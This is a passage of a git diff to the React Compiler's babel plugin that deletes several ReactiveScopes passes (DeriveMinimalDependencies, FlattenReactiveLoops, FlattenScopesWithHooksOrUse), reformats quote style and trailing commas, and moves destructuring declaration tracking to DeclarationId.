     this.traverseValue(id, value, state);
-    if (value.kind === "FunctionExpression" || value.kind === "ObjectMethod") {
+    if (value.kind === 'FunctionExpression' || value.kind === 'ObjectMethod') {
       this.visitHirFunction(value.loweredFunc.func, state);
-    } else if (value.kind === "LoadGlobal") {
+    } else if (value.kind === 'LoadGlobal') {
       state.add(value.binding.name);
     }
   }
@@ -36,7 +36,7 @@ class Visitor extends ReactiveFunctionVisitor<Set<string>> {
     _id: InstructionId,
     _dependencies: Array<Place>,
     fn: ReactiveFunction,
-    state: Set<string>
+    state: Set<string>,
   ): void {
     visitReactiveFunction(fn, this, state);
   }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/DeriveMinimalDependencies.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/DeriveMinimalDependencies.ts
deleted file mode 100644
index 0bff894cea1b..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/DeriveMinimalDependencies.ts
+++ /dev/null
@@ -1,583 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { CompilerError } from "../CompilerError";
-import { Identifier, ReactiveScopeDependency } from "../HIR";
-import { printIdentifier } from "../HIR/PrintHIR";
-import { assertExhaustive } from "../Utils/utils";
-
-/*
- * We need to understand optional member expressions only when determining
- * dependencies of a ReactiveScope (i.e. in {@link PropagateScopeDependencies}),
- * hence why this type lives here (not in HIR.ts)
- *
- * {@link ReactiveScopePropertyDependency.optionalPath} is populated only if the Property
- * represents an optional member expression, and it represents the property path
- * loaded conditionally.
- * e.g. the member expr a.b.c?.d.e?.f is represented as
- * {
- *    identifier: 'a';
- *    path: ['b', 'c'],
- *    optionalPath: ['d', 'e', 'f'].
- * }
- */
-export type ReactiveScopePropertyDependency = ReactiveScopeDependency & {
-  optionalPath: Array<string>;
-};
-
-/*
- * Finalizes a set of ReactiveScopeDependencies to produce a set of minimal unconditional
- * dependencies, preserving granular accesses when possible.
- *
- * Correctness properties:
- *   - All dependencies to a ReactiveBlock must be tracked.
- *     We can always truncate a dependency's path to a subpath, due to Forget assuming
- *     deep immutability. If the value produced by a subpath has not changed, then
- *     dependency must have not changed.
- *     i.e. props.a === $[..] implies props.a.b === $[..]
- *
- *     Note the inverse is not true, but this only means a false positive (we run the
- *     reactive block more than needed).
- *     i.e. props.a !== $[..] does not imply props.a.b !== $[..]
- *
- *   - The dependencies of a finalized ReactiveBlock must be all safe to access
- *     unconditionally (i.e. preserve program semantics with respect to nullthrows).
- *     If a dependency is only accessed within a conditional, we must track the nearest
- *     unconditionally accessed subpath instead.
- * @param initialDeps
- * @returns
- */
-export class ReactiveScopeDependencyTree {
-  #roots: Map<Identifier, DependencyNode> = new Map();
-
-  #getOrCreateRoot(identifier: Identifier): DependencyNode {
-    // roots can always be accessed unconditionally in JS
-    let rootNode = this.#roots.get(identifier);
-
-    if (rootNode === undefined) {
-      rootNode = {
-        properties: new Map(),
-        accessType: PropertyAccessType.UnconditionalAccess,
-      };
-      this.#roots.set(identifier, rootNode);
-    }
-    return rootNode;
-  }
-
-  add(dep: ReactiveScopePropertyDependency, inConditional: boolean): void {
-    const { path, optionalPath } = dep;
-    let currNode = this.#getOrCreateRoot(dep.identifier);
-
-    const accessType = inConditional
-      ? PropertyAccessType.ConditionalAccess
-      : PropertyAccessType.UnconditionalAccess;
-
-    for (const property of path) {
-      // all properties read 'on the way' to a dependency are marked as 'access'
-      let currChild = getOrMakeProperty(currNode, property);
-      currChild.accessType = merge(currChild.accessType, accessType);
-      currNode = currChild;
-    }
-
-    if (optionalPath.length === 0) {
-      /*
-       * If this property does not have a conditional path (i.e. a.b.c), the
-       * final property node should be marked as an conditional/unconditional
-       * `dependency` as based on control flow.
-       */
-      const depType = inConditional
-        ? PropertyAccessType.ConditionalDependency
-        : PropertyAccessType.UnconditionalDependency;
-
-      currNode.accessType = merge(currNode.accessType, depType);
-    } else {
-      /*
-       * Technically, we only depend on whether unconditional path `dep.path`
-       * is nullish (not its actual value). As long as we preserve the nullthrows
-       * behavior of `dep.path`, we can keep it as an access (and not promote
-       * to a dependency).
-       * See test `reduce-reactive-cond-memberexpr-join` for example.
-       */
-
-      /*
-       * If this property has an optional path (i.e. a?.b.c), all optional
-       * nodes should be marked accordingly.
-       */
-      for (const property of optionalPath) {
-        let currChild = getOrMakeProperty(currNode, property);
-        currChild.accessType = merge(
-          currChild.accessType,
-          PropertyAccessType.ConditionalAccess
-        );
-        currNode = currChild;
-      }
-
-      // The final node should be marked as a conditional dependency.
-      currNode.accessType = merge(
-        currNode.accessType,
-        PropertyAccessType.ConditionalDependency
-      );
-    }
-  }
-
-  deriveMinimalDependencies(): Set<ReactiveScopeDependency> {
-    const results = new Set<ReactiveScopeDependency>();
-    for (const [rootId, rootNode] of this.#roots.entries()) {
-      const deps = deriveMinimalDependenciesInSubtree(rootNode);
-      CompilerError.invariant(
-        deps.every(
-          (dep) => dep.accessType === PropertyAccessType.UnconditionalDependency
-        ),
-        {
-          reason:
-            "[PropagateScopeDependencies] All dependencies must be reduced to unconditional dependencies.",
-          description: null,
-          loc: null,
-          suggestions: null,
-        }
-      );
-
-      for (const dep of deps) {
-        results.add({
-          identifier: rootId,
-          path: dep.relativePath,
-        });
-      }
-    }
-
-    return results;
-  }
-
-  addDepsFromInnerScope(
-    depsFromInnerScope: ReactiveScopeDependencyTree,
-    innerScopeInConditionalWithinParent: boolean,
-    checkValidDepIdFn: (dep: ReactiveScopeDependency) => boolean
-  ): void {
-    for (const [id, otherRoot] of depsFromInnerScope.#roots) {
-      if (!checkValidDepIdFn({ identifier: id, path: [] })) {
-        continue;
-      }
-      let currRoot = this.#getOrCreateRoot(id);
-      addSubtree(currRoot, otherRoot, innerScopeInConditionalWithinParent);
-      if (!isUnconditional(currRoot.accessType)) {
-        currRoot.accessType = isDependency(currRoot.accessType)
-          ? PropertyAccessType.UnconditionalDependency
-          : PropertyAccessType.UnconditionalAccess;
-      }
-    }
-  }
-
-  promoteDepsFromExhaustiveConditionals(
-    trees: Array<ReactiveScopeDependencyTree>
-  ): void {
-    CompilerError.invariant(trees.length > 1, {
-      reason: "Expected trees to be at least 2 elements long.",
-      description: null,
-      loc: null,
-      suggestions: null,
-    });
-
-    for (const [id, root] of this.#roots) {
-      const nodesForRootId = mapNonNull(trees, (tree) => {
-        const node = tree.#roots.get(id);
-        if (node != null && isUnconditional(node.accessType)) {
-          return node;
-        } else {
-          return null;
-        }
-      });
-      if (nodesForRootId) {
-        addSubtreeIntersection(
-          root.properties,
-          nodesForRootId.map((root) => root.properties)
-        );
-      }
-    }
-  }
-
-  /*
-   * Prints dependency tree to string for debugging.
-   * @param includeAccesses
-   * @returns string representation of DependencyTree
-   */
-  printDeps(includeAccesses: boolean): string {
-    let res = [];
-
-    for (const [rootId, rootNode] of this.#roots.entries()) {
-      const rootResults = printSubtree(rootNode, includeAccesses).map(
-        (result) => `${printIdentifier(rootId)}.${result}`
-      );
-      res.push(rootResults);
-    }
-    return res.flat().join("\n");
-  }
-}
-
-/*
- * Enum representing the access type of single property on a parent object.
- * We distinguish on two independent axes:
- * Conditional / Unconditional:
- *    - whether this property is accessed unconditionally (within the ReactiveBlock)
- * Access / Dependency:
- *    - Access: this property is read on the path of a dependency. We do not
- *      need to track change variables for accessed properties. Tracking accesses
- *      helps Forget do more granular dependency tracking.
- *    - Dependency: this property is read as a dependency and we must track changes
- *      to it for correctness.
- *
- *    ```javascript
- *    // props.a is a dependency here and must be tracked
- *    deps: {props.a, props.a.b} ---> minimalDeps: {props.a}
- *    // props.a is just an access here and does not need to be tracked
- *    deps: {props.a.b} ---> minimalDeps: {props.a.b}
- *    ```
- */
-enum PropertyAccessType {
-  ConditionalAccess = "ConditionalAccess",
-  UnconditionalAccess = "UnconditionalAccess",
-  ConditionalDependency = "ConditionalDependency",
-  UnconditionalDependency = "UnconditionalDependency",
-}
-
-const MIN_ACCESS_TYPE = PropertyAccessType.ConditionalAccess;
-function isUnconditional(access: PropertyAccessType): boolean {
-  return (
-    access === PropertyAccessType.UnconditionalAccess ||
-    access === PropertyAccessType.UnconditionalDependency
-  );
-}
-function isDependency(access: PropertyAccessType): boolean {
-  return (
-    access === PropertyAccessType.ConditionalDependency ||
-    access === PropertyAccessType.UnconditionalDependency
-  );
-}
-
-function merge(
-  access1: PropertyAccessType,
-  access2: PropertyAccessType
-): PropertyAccessType {
-  const resultIsUnconditional =
-    isUnconditional(access1) || isUnconditional(access2);
-  const resultIsDependency = isDependency(access1) || isDependency(access2);
-
-  /*
-   * Straightforward merge.
-   * This can be represented as bitwise OR, but is written out for readability
-   *
-   * Observe that `UnconditionalAccess | ConditionalDependency` produces an
-   * unconditionally accessed conditional dependency. We currently use these
-   * as we use unconditional dependencies. (i.e. to codegen change variables)
-   */
-  if (resultIsUnconditional) {
-    if (resultIsDependency) {
-      return PropertyAccessType.UnconditionalDependency;
-    } else {
-      return PropertyAccessType.UnconditionalAccess;
-    }
-  } else {
-    if (resultIsDependency) {
-      return PropertyAccessType.ConditionalDependency;
-    } else {
-      return PropertyAccessType.ConditionalAccess;
-    }
-  }
-}
-
-type DependencyNode = {
-  properties: Map<string, DependencyNode>;
-  accessType: PropertyAccessType;
-};
-
-type ReduceResultNode = {
-  relativePath: Array<string>;
-  accessType: PropertyAccessType;
-};
-
-const promoteUncondResult = [
-  {
-    relativePath: [],
-    accessType: PropertyAccessType.UnconditionalDependency,
-  },
-];
-
-const promoteCondResult = [
-  {
-    relativePath: [],
-    accessType: PropertyAccessType.ConditionalDependency,
-  },
-];
-
-/*
- * Recursively calculates minimal dependencies in a subtree.
- * @param dep DependencyNode representing a dependency subtree.
- * @returns a minimal list of dependencies in this subtree.
- */
-function deriveMinimalDependenciesInSubtree(
-  dep: DependencyNode
-): Array<ReduceResultNode> {
-  const results: Array<ReduceResultNode> = [];
-  for (const [childName, childNode] of dep.properties) {
-    const childResult = deriveMinimalDependenciesInSubtree(childNode).map(
-      ({ relativePath, accessType }) => {
-        return {
-          relativePath: [childName, ...relativePath],
-          accessType,
-        };
-      }
-    );
-    results.push(...childResult);
-  }
-
-  switch (dep.accessType) {
-    case PropertyAccessType.UnconditionalDependency: {
-      return promoteUncondResult;
-    }
-    case PropertyAccessType.UnconditionalAccess: {
-      if (
-        results.every(
-          ({ accessType }) =>
-            accessType === PropertyAccessType.UnconditionalDependency
-        )
-      ) {
-        // all children are unconditional dependencies, return them to preserve granularity
-        return results;
-      } else {
-        /*
-         * at least one child is accessed conditionally, so this node needs to be promoted to
-         * unconditional dependency
-         */
-        return promoteUncondResult;
-      }
-    }
-    case PropertyAccessType.ConditionalAccess:
-    case PropertyAccessType.ConditionalDependency: {
-      if (
-        results.every(
-          ({ accessType }) =>
-            accessType === PropertyAccessType.ConditionalDependency
-        )
-      ) {
-        /*
-         * No children are accessed unconditionally, so we cannot promote this node to
-         * unconditional access.
-         * Truncate results of child nodes here, since we shouldn't access them anyways
-         */
-        return promoteCondResult;
-      } else {
-        /*
-         * at least one child is accessed unconditionally, so this node can be promoted to
-         * unconditional dependency
-         */
-        return promoteUncondResult;
-      }
-    }
-    default: {
-      assertExhaustive(
-        dep.accessType,
-        "[PropgateScopeDependencies] Unhandled access type!"
-      );
-    }
-  }
-}
-
-/*
- * Demote all unconditional accesses + dependencies in subtree to the
- * conditional equivalent, mutating subtree in place.
- * @param subtree unconditional node representing a subtree of dependencies
- */
-function demoteSubtreeToConditional(subtree: DependencyNode): void {
-  const stack: Array<DependencyNode> = [subtree];
-
-  let node;
-  while ((node = stack.pop()) !== undefined) {
-    const { accessType, properties } = node;
-    if (!isUnconditional(accessType)) {
-      // A conditionally accessed node should not have unconditional children
-      continue;
-    }
-    node.accessType = isDependency(accessType)
-      ? PropertyAccessType.ConditionalDependency
-      : PropertyAccessType.ConditionalAccess;
-
-    for (const childNode of properties.values()) {
-      if (isUnconditional(accessType)) {
-        /*
-         * No conditional node can have an unconditional node as a child, so
-         * we only process childNode if it is unconditional
-         */
-        stack.push(childNode);
-      }
-    }
-  }
-}
-
-/*
- * Calculates currNode = union(currNode, otherNode), mutating currNode in place
- * If demoteOtherNode is specified, we demote the subtree represented by
- * otherNode to conditional access/deps before taking the union.
- *
- * This is a helper function used to join an inner scope to its parent scope.
- * @param currNode (mutable) return by argument
- * @param otherNode (move) {@link addSubtree} takes ownership of the subtree
- * represented by otherNode, which may be mutated or moved to currNode. It is
- * invalid to use otherNode after this call.
- *
- * Note that @param otherNode may contain both conditional and unconditional nodes,
- * due to inner control flow and conditional member expressions
- *
- * @param demoteOtherNode
- */
-function addSubtree(
-  currNode: DependencyNode,
-  otherNode: DependencyNode,
-  demoteOtherNode: boolean
-): void {
-  let otherType = otherNode.accessType;
-  if (demoteOtherNode) {
-    otherType = isDependency(otherType)
-      ? PropertyAccessType.ConditionalDependency
-      : PropertyAccessType.ConditionalAccess;
-  }
-  currNode.accessType = merge(currNode.accessType, otherType);
-
-  for (const [propertyName, otherChild] of otherNode.properties) {
-    const currChild = currNode.properties.get(propertyName);
-    if (currChild) {
-      // recursively calculate currChild = union(currChild, otherChild)
-      addSubtree(currChild, otherChild, demoteOtherNode);
-    } else {
-      /*
-       * if currChild doesn't exist, we can just move otherChild
-       * currChild = otherChild.
-       */
-      if (demoteOtherNode) {
-        demoteSubtreeToConditional(otherChild);
-      }
-      currNode.properties.set(propertyName, otherChild);
-    }
-  }
-}
-
-/*
- * Adds intersection(otherProperties) to currProperties, mutating
- * currProperties in place. i.e.
- *    currProperties = union(currProperties, intersection(otherProperties))
- *
- * Used to merge unconditional accesses from exhaustive conditional branches
- * into the parent ReactiveDeps Tree.
- * intersection(currProperties) is determined as such:
- *   - a node is present in the intersection iff it is present in all every
- *     branch
- *   - the type of an added node is `UnconditionalDependency` if it is a
- *     dependency in at least one branch (otherwise `UnconditionalAccess`)
- *
- * @param otherProperties (read-only) an array of node properties containing
- *         conditionally and unconditionally accessed nodes. Each element
- *         represents asubtree of reactive dependencies from a single CFG
- *         branch.
- *        otherProperties must represent all reachable branches.
- * @param currProperties (mutable) return by argument properties of a node
- *
- * otherProperties and currProperties must be properties of disjoint nodes
- * that represent the same dependency (identifier + path).
- */
-function addSubtreeIntersection(
-  currProperties: Map<string, DependencyNode>,
-  otherProperties: Array<Map<string, DependencyNode>>
-): void {
-  CompilerError.invariant(otherProperties.length > 1, {
-    reason:
-      "[DeriveMinimalDependencies] Expected otherProperties to be at least 2 elements long.",
-    description: null,
-    loc: null,
-    suggestions: null,
-  });
-
-  /*
-   * otherProperties here may contain unconditional nodes as the result of
-   * recursively merging exhaustively conditional children with unconditionally
-   * accessed nodes (e.g. in the test condition itself)
-   * See `reduce-reactive-cond-deps-cfg-nested-testifelse` fixture for example
-   */
-
-  for (const [propertyName, currNode] of currProperties) {
-    const otherNodes = mapNonNull(otherProperties, (properties) => {
-      const node = properties.get(propertyName);
-      if (node != null && isUnconditional(node.accessType)) {
-        return node;
-      } else {
-        return null;
-      }
-    });
-
-    /*
-     * intersection(otherNodes[propertyName]) only exists if each element in
-     * otherProperties accesses propertyName.
-     */
-    if (otherNodes) {
-      addSubtreeIntersection(
-        currNode.properties,
-        otherNodes.map((node) => node.properties)
-      );
-
-      const isDep = otherNodes.some((tree) => isDependency(tree.accessType));
-      const externalAccessType = isDep
-        ? PropertyAccessType.UnconditionalDependency
-        : PropertyAccessType.UnconditionalAccess;
-      currNode.accessType = merge(externalAccessType, currNode.accessType);
-    }
-  }
-}
-
-function printSubtree(
-  node: DependencyNode,
-  includeAccesses: boolean
-): Array<string> {
-  const results: Array<string> = [];
-  for (const [propertyName, propertyNode] of node.properties) {
-    if (includeAccesses || isDependency(propertyNode.accessType)) {
-      results.push(`${propertyName} (${propertyNode.accessType})`);
-    }
-    const propertyResults = printSubtree(propertyNode, includeAccesses);
-    results.push(
-      ...propertyResults.map((result) => `${propertyName}.${result}`)
-    );
-  }
-  return results;
-}
-
-function getOrMakeProperty(
-  node: DependencyNode,
-  property: string
-): DependencyNode {
-  let child = node.properties.get(property);
-  if (child == null) {
-    child = {
-      properties: new Map(),
-      accessType: MIN_ACCESS_TYPE,
-    };
-    node.properties.set(property, child);
-  }
-  return child;
-}
-
-function mapNonNull<T extends NonNullable<V>, V, U>(
-  arr: Array<U>,
-  fn: (arg0: U) => T | undefined | null
-): Array<T> | null {
-  const result = [];
-  for (let i = 0; i < arr.length; i++) {
-    const element = fn(arr[i]);
-    if (element) {
-      result.push(element);
-    } else {
-      return null;
-    }
-  }
-  return result;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/ExtractScopeDeclarationsFromDestructuring.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/ExtractScopeDeclarationsFromDestructuring.ts
index 1543c48a889d..f24861152aa0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/ExtractScopeDeclarationsFromDestructuring.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/ExtractScopeDeclarationsFromDestructuring.ts
@@ -6,6 +6,7 @@
  */
 
 import {
+  DeclarationId,
   Destructure,
   Environment,
   IdentifierId,
@@ -16,13 +17,18 @@ import {
   ReactiveScopeBlock,
   ReactiveStatement,
   promoteTemporary,
-} from "../HIR";
-import { eachPatternOperand, mapPatternOperands } from "../HIR/visitors";
+} from '../HIR';
+import {clonePlaceToTemporary} from '../HIR/HIRBuilder';
+import {
+  eachInstructionLValueWithKind,
+  eachPatternOperand,
+  mapPatternOperands,
+} from '../HIR/visitors';
 import {
   ReactiveFunctionTransform,
   Transformed,
   visitReactiveFunction,
-} from "./visitors";
+} from './visitors';
 
 /*
  * Destructuring statements may sometimes define some variables which are declared by the scope,
@@ -74,15 +80,23 @@ import {
  *
  */
 export function extractScopeDeclarationsFromDestructuring(
-  fn: ReactiveFunction
+  fn: ReactiveFunction,
 ): void {
   const state = new State(fn.env);
+  for (const param of fn.params) {
+    const place = param.kind === 'Identifier' ? param : param.place;
+    state.declared.add(place.identifier.declarationId);
+  }
   visitReactiveFunction(fn, new Visitor(), state);
 }
 
 class State {
   env: Environment;
-  declared: Set<IdentifierId> = new Set();
+  /**
+   * We need to track which program variables are already declared to convert
+   * declarations into reassignments, so we use DeclarationId
+   */
+  declared: Set<DeclarationId> = new Set();
 
   constructor(env: Environment) {
     this.env = env;
@@ -92,52 +106,69 @@ class State {
 class Visitor extends ReactiveFunctionTransform<State> {
   override visitScope(scope: ReactiveScopeBlock, state: State): void {
     for (const [, declaration] of scope.scope.declarations) {
-      state.declared.add(declaration.identifier.id);
+      state.declared.add(declaration.identifier.declarationId);
     }
     this.traverseScope(scope, state);
   }
 
   override transformInstruction(
     instruction: ReactiveInstruction,
-    state: State
+    state: State,
   ): Transformed<ReactiveStatement> {
     this.visitInstruction(instruction, state);
 
-    if (instruction.value.kind === "Destructure") {
+    let instructionsToProcess: Array<ReactiveInstruction> = [instruction];
+    let result: Transformed<ReactiveStatement> = {kind: 'keep'};
+
+    if (instruction.value.kind === 'Destructure') {
       const transformed = transformDestructuring(
         state,
         instruction,
-        instruction.value
+        instruction.value,
       );
       if (transformed) {
-        return {
-          kind: "replace-many",
-          value: transformed.map((instruction) => ({
-            kind: "instruction",
+        instructionsToProcess = transformed;
+        result = {
+          kind: 'replace-many',
+          value: transformed.map(instruction => ({
+            kind: 'instruction',
             instruction,
           })),
         };
       }
     }
-    return { kind: "keep" };
+
+    // Update state.declared with declarations from the instruction(s)
+    for (const instr of instructionsToProcess) {
+      for (const [place, kind] of eachInstructionLValueWithKind(instr)) {
+        if (kind !== InstructionKind.Reassign) {
+          state.declared.add(place.identifier.declarationId);
+        }
+      }
+    }
+
+    return result;
   }
 }
 
 function transformDestructuring(
   state: State,
   instr: ReactiveInstruction,
-  destructure: Destructure
+  destructure: Destructure,
 ): null | Array<ReactiveInstruction> {
   let reassigned: Set<IdentifierId> = new Set();
   let hasDeclaration = false;
   for (const place of eachPatternOperand(destructure.lvalue.pattern)) {
-    const isDeclared = state.declared.has(place.identifier.id);
+    const isDeclared = state.declared.has(place.identifier.declarationId);
     if (isDeclared) {
       reassigned.add(place.identifier.id);
+    } else {
+      hasDeclaration = true;
     }
-    hasDeclaration ||= !isDeclared;
   }
-  if (reassigned.size === 0 || !hasDeclaration) {
+  if (!hasDeclaration) {
+    // all reassignments
+    destructure.lvalue.kind = InstructionKind.Reassign;
     return null;
   }
   /*
@@ -146,19 +177,11 @@ function transformDestructuring(
    */
   const instructions: Array<ReactiveInstruction> = [];
   const renamed: Map<Place, Place> = new Map();
-  mapPatternOperands(destructure.lvalue.pattern, (place) => {
+  mapPatternOperands(destructure.lvalue.pattern, place => {
     if (!reassigned.has(place.identifier.id)) {
       return place;
     }
-    const tempId = state.env.nextIdentifierId;
-    const temporary = {
-      ...place,
-      identifier: {
-        ...place.identifier,
-        id: tempId,
-        name: null, // overwritten below
-      },
-    };
+    const temporary = clonePlaceToTemporary(state.env, place);
     promoteTemporary(temporary.identifier);
     renamed.set(place, temporary);
     return temporary;
@@ -169,7 +192,7 @@ function transformDestructuring(
       id: instr.id,
       lvalue: null,
       value: {
-        kind: "StoreLocal",
+        kind: 'StoreLocal',
         lvalue: {
           kind: InstructionKind.Reassign,
           place: original,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenReactiveLoops.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenReactiveLoops.ts
deleted file mode 100644
index dd6e7b1cae3d..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenReactiveLoops.ts
+++ /dev/null
@@ -1,84 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import {
-  ReactiveFunction,
-  ReactiveScopeBlock,
-  ReactiveStatement,
-  ReactiveTerminal,
-  ReactiveTerminalStatement,
-} from "../HIR/HIR";
-import { assertExhaustive } from "../Utils/utils";
-import {
-  ReactiveFunctionTransform,
-  Transformed,
-  visitReactiveFunction,
-} from "./visitors";
-
-/*
- * Given a reactive function, flattens any scopes contained within a loop construct.
- * We won't initially support memoization within loops though this is possible in the future.
- */
-export function flattenReactiveLoops(fn: ReactiveFunction): void {
-  visitReactiveFunction(fn, new Transform(), false);
-}
-
-class Transform extends ReactiveFunctionTransform<boolean> {
-  override transformScope(
-    scope: ReactiveScopeBlock,
-    isWithinLoop: boolean
-  ): Transformed<ReactiveStatement> {
-    this.visitScope(scope, isWithinLoop);
-    if (isWithinLoop) {
-      return {
-        kind: "replace",
-        value: {
-          kind: "pruned-scope",
-          scope: scope.scope,
-          instructions: scope.instructions,
-        },
-      };
-    } else {
-      return { kind: "keep" };
-    }
-  }
-
-  override visitTerminal(
-    stmt: ReactiveTerminalStatement<ReactiveTerminal>,
-    isWithinLoop: boolean
-  ): void {
-    switch (stmt.terminal.kind) {
-      // Loop terminals flatten nested scopes
-      case "do-while":
-      case "while":
-      case "for":
-      case "for-of":
-      case "for-in": {
-        this.traverseTerminal(stmt, true);
-        break;
-      }
-      // Non-loop terminals passthrough is contextual, inherits the parent isWithinScope
-      case "try":
-      case "label":
-      case "break":
-      case "continue":
-      case "if":
-      case "return":
-      case "switch":
-      case "throw": {
-        this.traverseTerminal(stmt, isWithinLoop);
-        break;
-      }
-      default: {
-        assertExhaustive(
-          stmt.terminal,
-          `Unexpected terminal kind \`${(stmt.terminal as any).kind}\``
-        );
-      }
-    }
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenReactiveLoopsHIR.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenReactiveLoopsHIR.ts
index 6fa65ee2bf25..66044ae534f4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenReactiveLoopsHIR.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenReactiveLoopsHIR.ts
@@ -5,8 +5,8 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { BlockId, HIRFunction, PrunedScopeTerminal } from "../HIR";
-import { assertExhaustive, retainWhere } from "../Utils/utils";
+import {BlockId, HIRFunction, PrunedScopeTerminal} from '../HIR';
+import {assertExhaustive, retainWhere} from '../Utils/utils';
 
 /**
  * Prunes any reactive scopes that are within a loop (for, while, etc). We don't yet
@@ -18,21 +18,21 @@ import { assertExhaustive, retainWhere } from "../Utils/utils";
 export function flattenReactiveLoopsHIR(fn: HIRFunction): void {
   const activeLoops = Array<BlockId>();
   for (const [, block] of fn.body.blocks) {
-    retainWhere(activeLoops, (id) => id !== block.id);
-    const { terminal } = block;
+    retainWhere(activeLoops, id => id !== block.id);
+    const {terminal} = block;
     switch (terminal.kind) {
-      case "do-while":
-      case "for":
-      case "for-in":
-      case "for-of":
-      case "while": {
+      case 'do-while':
+      case 'for':
+      case 'for-in':
+      case 'for-of':
+      case 'while': {
         activeLoops.push(terminal.fallthrough);
         break;
       }
-      case "scope": {
+      case 'scope': {
         if (activeLoops.length !== 0) {
           block.terminal = {
-            kind: "pruned-scope",
+            kind: 'pruned-scope',
             block: terminal.block,
             fallthrough: terminal.fallthrough,
             id: terminal.id,
@@ -42,28 +42,28 @@ export function flattenReactiveLoopsHIR(fn: HIRFunction): void {
         }
         break;
       }
-      case "branch":
-      case "goto":
-      case "if":
-      case "label":
-      case "logical":
-      case "maybe-throw":
-      case "optional":
-      case "pruned-scope":
-      case "return":
-      case "sequence":
-      case "switch":
-      case "ternary":
-      case "throw":
-      case "try":
-      case "unreachable":
-      case "unsupported": {
+      case 'branch':
+      case 'goto':
+      case 'if':
+      case 'label':
+      case 'logical':
+      case 'maybe-throw':
+      case 'optional':
+      case 'pruned-scope':
+      case 'return':
+      case 'sequence':
+      case 'switch':
+      case 'ternary':
+      case 'throw':
+      case 'try':
+      case 'unreachable':
+      case 'unsupported': {
         break;
       }
       default: {
         assertExhaustive(
           terminal,
-          `Unexpected terminal kind \`${(terminal as any).kind}\``
+          `Unexpected terminal kind \`${(terminal as any).kind}\``,
         );
       }
     }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenScopesWithHooksOrUse.ts b/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenScopesWithHooksOrUse.ts
deleted file mode 100644
index 7249801996d1..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/ReactiveScopes/FlattenScopesWithHooksOrUse.ts
+++ /dev/null
@@ -1,123 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import {
-  Environment,
-  InstructionId,
-  ReactiveFunction,
-  ReactiveScopeBlock,
-  ReactiveStatement,
-  ReactiveValue,
-  getHookKind,
-  isUseOperator,
-} from "../HIR";
-import {
-  ReactiveFunctionTransform,
-  Transformed,
-  visitReactiveFunction,
-} from "./visitors";
-
-/**
- * For simplicity the majority of compiler passes do not treat hooks specially. However, hooks are different
- * from regular functions in two key ways:
- * - They can introduce reactivity even when their arguments are non-reactive (accounted for in InferReactivePlaces)
- * - They cannot be called conditionally
- *
- * The `use` operator is similar:
- * - It can access context, and therefore introduce reactivity
- * - It can be called conditionally, but _it must be called if the component needs the return value_. This is because
- *   React uses the fact that use was called to remember that the component needs the value, and that changes to the
- *   input should invalidate the component itself.
- *
- * This pass accounts for the "can't call conditionally" aspect of both hooks and use. Though the reasoning is slightly
- * different for reach, the result is that we can't memoize scopes that call hooks or use since this would make them
- * called conditionally in the output.
- *
- * The pass finds and removes any scopes that transitively contain a hook or use call. By running all
- * the reactive scope inference first, agnostic of hooks, we know that the reactive scopes accurately
- * describe the set of values which "construct together", and remove _all_ that memoization in order
- * to ensure the hook call does not inadvertently become conditional.
- */
-export function flattenScopesWithHooksOrUse(fn: ReactiveFunction): void {
-  visitReactiveFunction(fn, new Transform(), {
-    env: fn.env,
-    hasHook: false,
-  });
-}
-
-type State = {
-  env: Environment;
-  hasHook: boolean;
-};
-
-class Transform extends ReactiveFunctionTransform<State> {
-  override transformScope(
-    scope: ReactiveScopeBlock,
-    outerState: State
-  ): Transformed<ReactiveStatement> {
-    const innerState: State = {
-      env: outerState.env,
-      hasHook: false,
-    };
-    this.visitScope(scope, innerState);
-    outerState.hasHook ||= innerState.hasHook;
-    if (innerState.hasHook) {
-      if (scope.instructions.length === 1) {
-        /*
-         * This was a scope just for a hook call, which doesn't need memoization.
-         * flatten it away
-         */
-        return {
-          kind: "replace-many",
-          value: scope.instructions,
-        };
-      }
-      /*
-       * else this scope had multiple instructions and produced some other value:
-       * mark it as pruned
-       */
-      return {
-        kind: "replace",
-        value: {
-          kind: "pruned-scope",
-          scope: scope.scope,
-          instructions: scope.instructions,
-        },
-      };
-    } else {
-      return { kind: "keep" };
-    }
-  }
-
-  override visitValue(
-    id: InstructionId,
-    value: ReactiveValue,
-    state: State
-  ): void {
-    this.traverseValue(id, value, state);
-    switch (value.kind) {
-      case "CallExpression": {
-        if (
-          getHookKind(state.env, value.callee.identifier) != null ||
-          isUseOperator(value.callee.identifier)
-        ) {
-          state.hasHook = true;
-        }
-        break;
-      }
-      case "MethodCall": {
-        if (
-          getHookKind(state.env, value.property.identifier) != null ||
-          isUseOperator(value.property.identifier)
-        ) {
-          state.hasHook = true;
-        }
-        break;
-      }
-    }
-  }
-}
